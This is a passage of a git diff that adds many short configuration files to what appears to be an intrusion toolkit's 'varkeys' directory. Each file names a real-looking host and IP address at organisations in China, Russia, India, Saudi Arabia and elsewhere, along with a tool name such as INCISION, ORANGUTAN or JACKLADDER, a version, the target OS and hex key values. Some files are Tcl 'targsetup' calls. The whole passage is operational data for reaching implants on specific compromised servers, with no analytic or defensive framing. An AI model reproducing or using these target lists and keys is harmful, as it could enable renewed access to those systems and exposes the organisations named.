129b94c7 695de5dc" +} diff --git a/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/orangutan b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/orangutan new file mode 100644 index 0000000..bb01ce7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/orangutan @@ -0,0 +1,4 @@ +INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="8d755fb0 3d5293ce 25f2f694" +} diff --git a/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/patchicillin b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/patchicillin new file mode 100644 index 0000000..e6b46e8 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/patchicillin @@ -0,0 +1,4 @@ +INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833() { + ## PATCHICILLIN Version:1.1 OS:sparc-sun-solaris2.8 + export CV="ad2c7942 c3cb4f91 1d88d350" +} diff --git a/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/sidetrack b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/sidetrack new file mode 100644 index 0000000..5ed00e4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1dr1-a-fixed.sancharnet.in___61.1.128.17/sidetrack @@ -0,0 +1,4 @@ +INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="0e1a8b7c 9f70aeb5 869d4125 aa37de70" +} diff --git a/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/incision b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/incision new file mode 100644 index 0000000..7c1e6bb --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/incision @@ -0,0 +1,4 @@ +INTONATION___bgl1pp1-a-fixed.sancharnet.in___61.1.128.71___20040603-151945() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="48d49f80 a37227ba e6a1989c" +} diff --git a/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/orangutan b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/orangutan new file mode 100644 index 0000000..79dfd31 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/orangutan @@ -0,0 +1,4 @@ +INTONATION___bgl1pp1-a-fixed.sancharnet.in___61.1.128.71___20040603-151945() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="3c5d16d9 3cd0dfb8 0d3c107e" +} diff --git a/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/sidetrack b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/sidetrack new file mode 100644 index 0000000..5828c30 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bgl1pp1-a-fixed.sancharnet.in___61.1.128.71/sidetrack @@ -0,0 +1,4 @@ +INTONATION___bgl1pp1-a-fixed.sancharnet.in___61.1.128.71___20040603-151945() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="fb6fcc92 d16f068f 1717e069 67411b27" +} diff --git a/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/incision b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/incision new file mode 100644 index 0000000..aea9873 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/incision @@ -0,0 +1,4 @@ +INTONATION___bj02.cww.com___202.84.16.34___20020808-173544() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="37176c26 02d784a7 23b3ebd6" +} diff --git a/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/orangutan b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/orangutan new file mode 100644 index 0000000..352e18f --- /dev/null +++ b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/orangutan @@ -0,0 +1,4 @@ +INTONATION___bj02.cww.com___202.84.16.34___20020808-173544() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="9ff35ae3 1e677726 3cebacbf" +} diff --git a/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/reticulum b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/reticulum new file mode 100644 index 0000000..ec54f12 --- /dev/null +++ b/Linux/bin/varkeys/intonation/bj02.cww.com___202.84.16.34/reticulum @@ -0,0 +1,20 @@ +INTONATION___bj02.cww.com___202.84.16.34___20020808-173544() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host bj02.cww.com + set ip 202.84.16.34 + set hostType "Solaris26" + set len 476 + set cv0 1ec7534a + set cv1 139c5180 + set cv2 a36c9614 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/dewdrop b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/dewdrop new file mode 100644 index 0000000..bdb2616 --- /dev/null +++ b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/dewdrop @@ -0,0 +1,4 @@ +INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/incision b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/incision new file mode 100644 index 0000000..2b869b5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/incision @@ -0,0 +1,4 @@ +INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="0f706922 e577b1ab 1792b625" +} diff --git a/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/orangutan b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/orangutan new file mode 100644 index 0000000..f98e3db --- /dev/null +++ b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/orangutan @@ -0,0 +1,4 @@ +INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="dc6e6c04 f3ddef26 85ac8378" +} diff --git a/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/patchicillin b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/patchicillin new file mode 100644 index 0000000..b140931 --- /dev/null +++ b/Linux/bin/varkeys/intonation/butt-head.mos.ru___10.30.1.130/patchicillin @@ -0,0 +1,4 @@ +INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="de157422 a2db43ba 03fc08f7" +} diff --git a/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/incision b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/incision new file mode 100644 index 0000000..b5ced10 --- /dev/null +++ b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/incision @@ -0,0 +1,4 @@ +INTONATION___dcproxy1.thrunet.com___210.117.65.44___20011107-121854() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3760159 9cd3188e b06d8031" +} diff --git a/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/orangutan b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/orangutan new file mode 100644 index 0000000..180d23f --- /dev/null +++ b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/orangutan @@ -0,0 +1,4 @@ +INTONATION___dcproxy1.thrunet.com___210.117.65.44___20011107-121854() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="93cf1800 6fbdb46c 8f6685bd" +} diff --git a/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/reticulum b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/reticulum new file mode 100644 index 0000000..8119cd2 --- /dev/null +++ b/Linux/bin/varkeys/intonation/dcproxy1.thrunet.com___210.117.65.44/reticulum @@ -0,0 +1,20 @@ +INTONATION___dcproxy1.thrunet.com___210.117.65.44___20011107-121854() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host dcproxy1.thrunet.com + set ip 210.117.65.44 + set hostType "Solaris27" + set len 476 + set cv0 35236fe1 + set cv1 852ac8ad + set cv2 6eb96908 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/dmn2.bjpeu.edu.cn___202.204.193.1/jackladder b/Linux/bin/varkeys/intonation/dmn2.bjpeu.edu.cn___202.204.193.1/jackladder new file mode 100644 index 0000000..27a8330 --- /dev/null +++ b/Linux/bin/varkeys/intonation/dmn2.bjpeu.edu.cn___202.204.193.1/jackladder @@ -0,0 +1,3 @@ +INTONATION___dmn2.bjpeu.edu.cn___202.204.193.1___20010929-205746() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/dns2.net1.it___213.140.195.7/incision b/Linux/bin/varkeys/intonation/dns2.net1.it___213.140.195.7/incision new file mode 100644 index 0000000..31af008 --- /dev/null +++ b/Linux/bin/varkeys/intonation/dns2.net1.it___213.140.195.7/incision @@ -0,0 +1,4 @@ +INTONATION___dns2.net1.it___213.140.195.7___20030327-165934() { + ## INCISION Version:4.8.3 OS:i686-pc-linux-gnu-2.4.7-10 + export TARG_AYT="5e54ea5e 6b12400d e1d1f239" +} diff --git a/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/orangutan b/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/orangutan new file mode 100644 index 0000000..20745d5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/orangutan @@ -0,0 +1,4 @@ +INTONATION___doors.co.kr___211.43.193.9___20020111-115417() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="886b051a 56725325 90fd347d" +} diff --git a/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/reticulum b/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/reticulum new file mode 100644 index 0000000..2857aac --- /dev/null +++ b/Linux/bin/varkeys/intonation/doors.co.kr___211.43.193.9/reticulum @@ -0,0 +1,20 @@ +INTONATION___doors.co.kr___211.43.193.9___20020111-115417() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host doors.co.kr + set ip 211.43.193.9 + set hostType "Solaris27" + set len 476 + set cv0 ccf9078a + set cv1 131a4c81 + set cv2 f86a0294 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/incision b/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/incision new file mode 100644 index 0000000..8ed0c44 --- /dev/null +++ b/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/incision @@ -0,0 +1,5 @@ +INTONATION___enterprise.telesat.com.co___66.128.32.67___20030124-001006() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="efe39b08 465a338c db5d9532" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} diff --git a/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/orangutan b/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/orangutan new file mode 100644 index 0000000..db4fc77 --- /dev/null +++ b/Linux/bin/varkeys/intonation/enterprise.telesat.com.co___66.128.32.67/orangutan @@ -0,0 +1,4 @@ +INTONATION___enterprise.telesat.com.co___66.128.32.67___20030124-001006() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="8190b53e fe621af9 a6e11020" +} diff --git a/Linux/bin/varkeys/intonation/eol1.egyptonline.com___206.48.31.2/jackladder b/Linux/bin/varkeys/intonation/eol1.egyptonline.com___206.48.31.2/jackladder new file mode 100644 index 0000000..f9e6cc6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/eol1.egyptonline.com___206.48.31.2/jackladder @@ -0,0 +1,3 @@ +INTONATION___eol1.egyptonline.com___206.48.31.2___20001018-150945() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/intonation/fw433.npic.ac.cn___168.160.71.3/jackladder b/Linux/bin/varkeys/intonation/fw433.npic.ac.cn___168.160.71.3/jackladder new file mode 100644 index 0000000..7cd7496 --- /dev/null +++ b/Linux/bin/varkeys/intonation/fw433.npic.ac.cn___168.160.71.3/jackladder @@ -0,0 +1,3 @@ +INTONATION.NPIC.AC.CN___fw433.npic.ac.cn___168.160.71.3___20010822-105425() { + ## JACKLADDER Version:2.0 OS:alphaev6-dec-osf4.0f +} diff --git a/Linux/bin/varkeys/intonation/gambero3.cs..tin.it___194.243.154.62/reticulum b/Linux/bin/varkeys/intonation/gambero3.cs..tin.it___194.243.154.62/reticulum new file mode 100644 index 0000000..0f91c12 --- /dev/null +++ b/Linux/bin/varkeys/intonation/gambero3.cs..tin.it___194.243.154.62/reticulum @@ -0,0 +1,20 @@ +INTONATION___gambero3.cs.tin.it___194.243.154.62___20011101-224414() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host gambero3.cs.tin.it + set ip 194.243.154.62 + set hostType "Solaris26" + set len 476 + set cv0 67991ffe + set cv1 5ca7432f + set cv2 d3fa4b27 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/dewdrop b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/dewdrop new file mode 100644 index 0000000..3d26cba --- /dev/null +++ b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/dewdrop @@ -0,0 +1,4 @@ +INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/incision b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/incision new file mode 100644 index 0000000..80fb6ec --- /dev/null +++ b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/incision @@ -0,0 +1,4 @@ +INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="54a5142a 7a08fc53 0bbff46b" +} diff --git a/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/jackladder b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/jackladder new file mode 100644 index 0000000..6885c53 --- /dev/null +++ b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/jackladder @@ -0,0 +1,4 @@ +INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/orangutan b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/orangutan new file mode 100644 index 0000000..c698bc9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/orangutan @@ -0,0 +1,4 @@ +INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="5d2d6d87 7009598c a622ffbc" +} diff --git a/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/stoicsurgeon b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/stoicsurgeon new file mode 100644 index 0000000..d1bc49e --- /dev/null +++ b/Linux/bin/varkeys/intonation/gate.technopolis.kirov.ru___217.9.148.61/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/hakuba.janis.or.jp___210.232.42.3/jackladder b/Linux/bin/varkeys/intonation/hakuba.janis.or.jp___210.232.42.3/jackladder new file mode 100644 index 0000000..f1cdaab --- /dev/null +++ b/Linux/bin/varkeys/intonation/hakuba.janis.or.jp___210.232.42.3/jackladder @@ -0,0 +1,3 @@ +INTONATION___hakuba.janis.or.jp___210.232.42.3___20000822-135045() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/incision b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/incision new file mode 100644 index 0000000..d36bae0 --- /dev/null +++ b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/incision @@ -0,0 +1,4 @@ +INTONATION___imms1.macau.ctm.net___202.175.36.54___20040917-170702() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f604d849 5b6bda89 2f392cc2" +} diff --git a/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/orangutan b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/orangutan new file mode 100644 index 0000000..0bbc39c --- /dev/null +++ b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/orangutan @@ -0,0 +1,4 @@ +INTONATION___imms1.macau.ctm.net___202.175.36.54___20040917-170702() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="5293e60c ca18e915 55368121" +} diff --git a/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/sidetrack b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/sidetrack new file mode 100644 index 0000000..0cf72b4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/imms1.macau.ctm.net___202.175.36.54/sidetrack @@ -0,0 +1,4 @@ +INTONATION___imms1.macau.ctm.net___202.175.36.54___20040917-170702() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="ecbff640 c86bc11b 187ec849 f34303ba" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/dewdrop b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/dewdrop new file mode 100644 index 0000000..ae05ff5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/dewdrop @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/incision b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/incision new file mode 100644 index 0000000..08b0a58 --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/incision @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="f2f7bf00 a31fe8c0 905fd227" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/jackladder b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/jackladder new file mode 100644 index 0000000..8eed44e --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/jackladder @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/orangutan b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/orangutan new file mode 100644 index 0000000..45a0bf1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/orangutan @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="9e99d1a8 08c66fb1 8c781f6c" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/patchicillin b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/patchicillin new file mode 100644 index 0000000..5e62b2a --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/patchicillin @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="46998d22 555a227f 0ed20119" +} diff --git a/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/sidetrack b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/sidetrack new file mode 100644 index 0000000..a7d1a0a --- /dev/null +++ b/Linux/bin/varkeys/intonation/indy.fjmu.edu.cn___202.112.176.3/sidetrack @@ -0,0 +1,4 @@ +INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="05d2122f 22a16847 dbb33820 9b83a5d6" +} diff --git a/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/dewdrop b/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/dewdrop new file mode 100644 index 0000000..7466f02 --- /dev/null +++ b/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/dewdrop @@ -0,0 +1,4 @@ +INTONATION___jur.unn.ac.ru___62.76.114.22___20070205-150930() { + ## DEWDROP Version:DEWDROP v2.0.5.1 i686-pc-linux-gnu OS:x86-linux + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/stoicsurgeon b/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/stoicsurgeon new file mode 100644 index 0000000..e2fc4f5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/jur.unn.ac.ru___62.76.114.22/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___jur.unn.ac.ru___62.76.114.22___20070205-150930() { + ## STOICSURGEON Version:STOICSURGEON v1.1.19.1 x86-linux-redhat-7.2 OS:x86-linux-redhat-7.2 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/dewdrop b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/dewdrop new file mode 100644 index 0000000..07d5c55 --- /dev/null +++ b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/dewdrop @@ -0,0 +1,4 @@ +INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060925-112731() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/incision b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/incision new file mode 100644 index 0000000..d945a8f --- /dev/null +++ b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/incision @@ -0,0 +1,4 @@ +INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060925-112731() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="cfac60dc f21f219e 71af6c6f" +} diff --git a/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/jackladder b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/jackladder new file mode 100644 index 0000000..0a18614 --- /dev/null +++ b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/jackladder @@ -0,0 +1,4 @@ +INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060915-114345() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/orangutan b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/orangutan new file mode 100644 index 0000000..57a44f4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/orangutan @@ -0,0 +1,4 @@ +INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060925-112731() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="7f98dd31 ddfa71d6 532a2029" +} diff --git a/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/patchicillin b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/patchicillin new file mode 100644 index 0000000..7d90943 --- /dev/null +++ b/Linux/bin/varkeys/intonation/kacstserv.kacst.edu.sa___212.26.44.132/patchicillin @@ -0,0 +1,4 @@ +INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060915-114345() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="45bda7f2 2fe4a7d3 4f2dab69" +} diff --git a/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/incision b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/incision new file mode 100644 index 0000000..97d598b --- /dev/null +++ b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/incision @@ -0,0 +1,4 @@ +INTONATION___known.counsellor.gov.cn___61.151.243.13___20040414-095522() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="684a97df c02068dc d8d3a90f" +} diff --git a/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/orangutan b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/orangutan new file mode 100644 index 0000000..fa2a859 --- /dev/null +++ b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/orangutan @@ -0,0 +1,4 @@ +INTONATION___known.counsellor.gov.cn___61.151.243.13___20040414-095522() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="2e6d6bf2 1cfcc45c 4fa4fd3a" +} diff --git a/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/sidetrack b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/sidetrack new file mode 100644 index 0000000..17e8c4c --- /dev/null +++ b/Linux/bin/varkeys/intonation/known.counsellor.gov.cn___61.151.243.13/sidetrack @@ -0,0 +1,4 @@ +INTONATION___known.counsellor.gov.cn___61.151.243.13___20040414-095522() { + ## SIDETRACK Version:1.1 OS:sparc-sun-solaris2.6 + export CV="fb85593c 0d11f503 61ef1e6e" +} diff --git a/Linux/bin/varkeys/intonation/kserv.krldysh.ru___194.226.57.53/jackladder b/Linux/bin/varkeys/intonation/kserv.krldysh.ru___194.226.57.53/jackladder new file mode 100644 index 0000000..07b26ad --- /dev/null +++ b/Linux/bin/varkeys/intonation/kserv.krldysh.ru___194.226.57.53/jackladder @@ -0,0 +1,4 @@ +INTONATION___kserv.krldysh.ru___194.226.57.53___20070417-154636() { + 